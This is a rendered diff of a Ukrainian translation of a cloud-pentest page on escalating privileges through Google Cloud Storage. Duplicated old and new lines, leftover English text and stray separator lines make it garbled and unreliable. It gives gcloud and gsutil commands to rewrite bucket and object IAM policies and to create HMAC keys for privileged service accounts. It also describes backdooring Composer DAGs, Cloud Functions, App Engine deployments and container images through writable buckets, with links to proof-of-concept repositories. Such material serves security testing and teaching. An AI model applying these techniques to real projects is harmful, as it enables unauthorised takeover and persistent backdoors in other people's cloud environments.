- **GCP Composer**: коли ви створюєте Composer Environment, **код усіх DAGs** буде збережений в **bucket**. У цих задачах може бути ціла купа цікавої інформації.
|
||||
- **GCR (Container Registry)**: **image** контейнерів зберігаються в **buckets**, отже якщо ви можете читати ці buckets — ви зможете завантажити образи та **шукати leaks і/або вихідний код**.
|
||||
- **GCP Composer**: Коли ви створюєте Composer Environment, **код усіх DAGs** буде збережено в **bucket**. Ці таски можуть містити цікаву інформацію в своєму коді.
|
||||
- **GCR (Container Registry)**: **image** контейнерів зберігаються в **buckets**, що означає, що якщо ви можете читати ці buckets, ви зможете завантажити образи та **шукати leaks та/або вихідний код**.
|
||||
|
||||
### `storage.objects.setIamPolicy`
|
||||
|
||||
Цей дозвіл дає змогу вам **зловживати будь-якими попередніми сценаріями цього розділу**.
|
||||
Цей дозвіл дозволяє вам **зловживати будь-яким із попередніх сценаріїв цього розділу**.
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role="<ROLE>" \
|
||||
--project=<PROJECT_ID>
|
||||
|
||||
# Change Policy
|
||||
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
### **`storage.buckets.setIamPolicy`**
|
||||
|
||||
Приклад того, як змінювати права за допомогою цього дозволу, дивіться на цій сторінці:
|
||||
Для прикладу того, як змінювати дозволи з цим дозволом, перегляньте цю сторінку:
|
||||
```bash
|
||||
# Add binding
|
||||
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Remove binding
|
||||
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
|
||||
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
|
||||
--role=<ROLE> \
|
||||
--project=<MY_PROJECT>
|
||||
|
||||
# Change policy
|
||||
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
|
||||
--project=<PROJECT_ID> <<'POLICY'
|
||||
{
|
||||
"bindings": [
|
||||
{
|
||||
"role": "<ROLE>",
|
||||
"members": [
|
||||
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
POLICY
|
||||
|
||||
```
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Функція "interoperability" в Cloud Storage, призначена для **cross-cloud interactions** (наприклад з AWS S3), передбачає **створення HMAC keys для Service Accounts та користувачів**. Атакуючий може скористатися цим, **згенерувавши HMAC key для Service Account з підвищеними привілеями**, що дозволяє **escalate privileges всередині Cloud Storage**. У той час як HMAC keys, прив'язані до користувачів, можна отримати тільки через web console, їхні ключі доступу та секретні ключі залишаються **постійно доступними**, що дозволяє зберігати резервний доступ. Натомість HMAC keys, пов'язані з Service Account, доступні через API, але їхні access та secret ключі не можна отримати після створення, що ускладнює підтримку постійного доступу.
|
||||
|
||||
<details><summary>Створення та використання HMAC key для privilege escalation</summary>
|
||||
Функція "interoperability" Cloud Storage, призначена для **взаємодії між хмарами** (наприклад з AWS S3), передбачає **створення HMAC ключів для Service Accounts та користувачів**. Атакувальник може скористатися цим, **створивши HMAC ключ для Service Account з підвищеними привілеями**, тим самим **підвищивши привілеї в Cloud Storage**. Хоча HMAC ключі, пов'язані з користувачами, можна отримати лише через веб-консоль, ключ доступу та секретний ключ залишаються **постійно доступними**, що дозволяє зберігати їх як резервний доступ. Натомість HMAC ключі, прив'язані до Service Account, доступні через API, але їхні ключі доступу та секретні ключі неможливо отримати після створення, що ускладнює підтримку постійного доступу.
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
|
||||
@@ -63,56 +117,54 @@ gsutil ls gs://[BUCKET_NAME]
|
||||
# Restore
|
||||
gcloud config set pass_credentials_to_gsutil true
|
||||
```
|
||||
</details>
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
Ще один скрипт-експлойт для цього методу можна знайти [тут](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### `storage.objects.create`, `storage.objects.delete` = Права запису в Storage
|
||||
|
||||
In order to **create a new object** inside a bucket you need `storage.objects.create` and, according to [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), you need also `storage.objects.delete` to **modify** an existent object.
|
||||
Щоб **створити новий об’єкт** в бакеті потрібен `storage.objects.create`, і, згідно з [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), також потрібен `storage.objects.delete` щоб **змінити** існуючий об’єкт.
|
||||
|
||||
A very **common exploitation** of buckets where you can write in cloud is in case the **bucket is saving web server files**, you might be able to **store new code** that will be used by the web application.
|
||||
Дуже **поширеним способом експлуатації** бакетів з правом запису є випадок, коли **бакет зберігає файли вебсерверу** — ви можете **завантажити новий код**, який буде використаний вебдодатком.
|
||||
|
||||
### Composer
|
||||
|
||||
**Composer** is **Apache Airflow** managed inside GCP. It has several interesting features:
|
||||
**Composer** — це **Apache Airflow**, керований в GCP. Має кілька цікавих особливостей:
|
||||
|
||||
- It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer
|
||||
- All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version.
|
||||
- Він запускається всередині **GKE cluster**, тому **SA, який використовує кластер, доступний** для коду, що виконується в Composer
|
||||
- Всі компоненти середовища Composer (**код DAGs**, плагіни та дані) зберігаються в GCP bucket. Якщо атакувач має права читання та запису, він може моніторити бакет і **whenever a DAG is created or updated, submit a backdoored version**, щоб середовище Composer отримало з Storage backdoored версію.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
|
||||
|
||||
### Cloud Functions
|
||||
|
||||
- Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**.
|
||||
- Код Cloud Functions зберігається в Storage і коли створюється нова версія, код завантажується в бакет, а потім з цього коду будується новий контейнер. Отже, **перезаписати код до того, як буде збудована нова версія, дозволяє змусити cloud function виконати довільний код**.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
|
||||
|
||||
### App Engine
|
||||
|
||||
AppEngine versions generate some data inside a bucket with the format name: `staging.<project-id>.appspot.com`. Inside this bucket, it's possible to find a folder called `ae` that will contain a folder per version of the AppEngine app and inside these folders it'll be possible to find the `manifest.json` file. This file contains a json with all the files that must be used to create the specific version. Moreover, it's possible to find the **real names of the files, the URL to them inside the GCP bucket (the files inside the bucket changed their name for their sha1 hash) and the sha1 hash of each file.**
|
||||
Версії AppEngine генерують деякі дані в бакеті з назвою формату: `staging.<project-id>.appspot.com`. Всередині цього бакету можна знайти папку `ae`, яка міститиме папку на кожну версію додатку AppEngine, і всередині цих папок можна знайти файл `manifest.json`. Цей файл містить JSON зі списком усіх файлів, які мають бути використані для створення конкретної версії. Більше того, там можна знайти **реальні імена файлів, URL до них всередині GCP bucket (файли в бакеті мають змінені імена на їх sha1 хеші) та sha1 хеш кожного файлу.**
|
||||
|
||||
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
|
||||
|
||||
However, with read & write access over this bucket, it's possible to escalate privileges to the SA attached to the App Engine version by monitoring the bucket and any time a change is performed (new version), modify the new version as fast as possible. This way, the container that gets created from this code will execute the backdoored code.
|
||||
Однак, маючи права читання та запису в цей бакет, можна підняти привілеї до SA, прикріпленого до версії App Engine, відстежуючи бакет і щоразу при зміні (нова версія) якнайшвидше модифікуючи нову версію. Таким чином контейнер, створений із цього коду, виконає backdoored код.
|
||||
|
||||
The mentioned attack can be performed in a lot of different ways, all of them start by monitoring the `staging.<project-id>.appspot.com` bucket:
|
||||
Зазначену атаку можна виконати різними способами; всі вони починаються з моніторингу бакету `staging.<project-id>.appspot.com`:
|
||||
|
||||
- Upload the complete new code of the AppEngine version to a different and available bucket and prepare a **`manifest.json` file with the new bucket name and sha1 hashes of them**. Then, when a new version is created inside the bucket, you just need to modify the `manifest.json` file and upload the malicious one.
|
||||
- Upload a modified `requirements.txt` version that will use a the **malicious dependencies code and update the `manifest.json`** file with the new filename, URL and the hash of it.
|
||||
- Upload a **modified `main.py` or `app.yaml` file that will execute the malicious code** and update the `manifest.json` file with the new filename, URL and the hash of it.
|
||||
- Завантажити повний новий код версії AppEngine в інший доступний бакет і підготувати **`manifest.json` файл з новою назвою бакету та sha1 хешами файлів**. Потім, коли в оригінальному бакеті створюється нова версія, достатньо змінити `manifest.json` і завантажити шкідливий.
|
||||
- Завантажити змінений `requirements.txt`, який використовуватиме **malicious dependencies code**, і оновити `manifest.json` файлом з новим іменем файлу, URL та його хешем.
|
||||
- Завантажити **змінений `main.py` або `app.yaml`, який виконуватиме шкідливий код**, і оновити `manifest.json` файлом з новим іменем файлу, URL та його хешем.
|
||||
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.**
|
||||
- The bucket used by GCR will have an URL similar to `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
- **Google Container Registry** зберігає образи в бакетах; якщо ви можете **записувати в ці бакети**, ви можете **move laterally** туди, де ці бакети виконуються.
|
||||
- Бакет, що використовує GCR, матиме URL, подібний до `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Top level subdomains вказані [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
|
||||
|
||||
> [!TIP]
|
||||
> Ця служба застаріла, тому цей вектор атаки вже неактуальний. Крім того, Artifact Registry, сервіс який замінив її, не зберігає образи в бакетах.
|
||||
> Ця служба застаріла, тому ця атака більше не є корисною. До того ж Artifact Registry, сервіс, що її заміняє, не зберігає образи в бакетах.
|
||||
|
||||
## **References**
|
||||
## **Джерела**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
Reference in New Issue
Block a user